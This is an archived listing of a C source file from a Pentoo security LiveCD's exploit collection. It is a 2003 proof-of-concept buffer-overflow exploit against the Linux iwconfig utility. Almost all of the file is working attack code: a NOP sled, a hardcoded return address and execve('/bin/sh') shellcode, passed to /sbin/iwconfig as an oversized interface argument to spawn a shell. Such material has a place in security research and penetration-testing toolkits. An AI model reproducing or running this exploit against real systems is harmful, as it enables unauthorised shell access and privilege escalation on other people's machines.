home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / system / linux / local / iwconfig.c < prev    next >
C/C++ Source or Header  |  2005-02-12  |  1KB  |  52 lines

  1. /*
  2.  * (C) 2003 NrAziz
  3.  * polygrithm_at_hotmail[DOT]com
  4.  */
  5.  
  6. /*
  7.  * Greetz to Mixter,gorny,rave..
  8.  */
  9.  
  10. /*
  11.  * Description:
  12.  *              iwconfig configures a wireless network interface and is similar to ifconfig
  13.  *  except that iwconfig configures wireless interfaces.
  14.  * Vulnerability:
  15.  *               Instead of giving the interface parameter when a large string is given
  16.  * the buffer overflows :-)...
  17.  */
  18.  
  19. /*
  20.  * Yet another Proof Of Concept Xploit for 'iwconfig'
  21.  */
  22.  
  23.  
  24. #include <stdio.h>
  25. #include <stdlib.h>
  26.  
  27. #define BUFF_SIZE 98
  28. #define RET 0xbffffc3f
  29.  
  30. char shellcode[]=
  31. "\xeb\x17\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d"
  32. "\x4e\x08\x31\xd2\xcd\x80\xe8\xe4\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68\x58";
  33.  
  34. int main(int argc,char **argv)
  35. {
  36.  
  37.   int i;
  38.   char *buff=(char *)malloc(sizeof(char)*BUFF_SIZE);
  39.  
  40.   for(i=0;i<BUFF_SIZE;i+=4)
  41.     *(long *)&buff[i]=RET;
  42.  
  43.   for(i=0;i<BUFF_SIZE-strlen(shellcode)-12;i++)
  44.     *(buff+i)=0x90;
  45.  
  46.   memcpy(buff+i,shellcode,strlen(shellcode));
  47.  
  48.   execl("/sbin/iwconfig","iwconfig",buff,(char *)NULL);
  49.  
  50.   return 0;
  51. }
  52.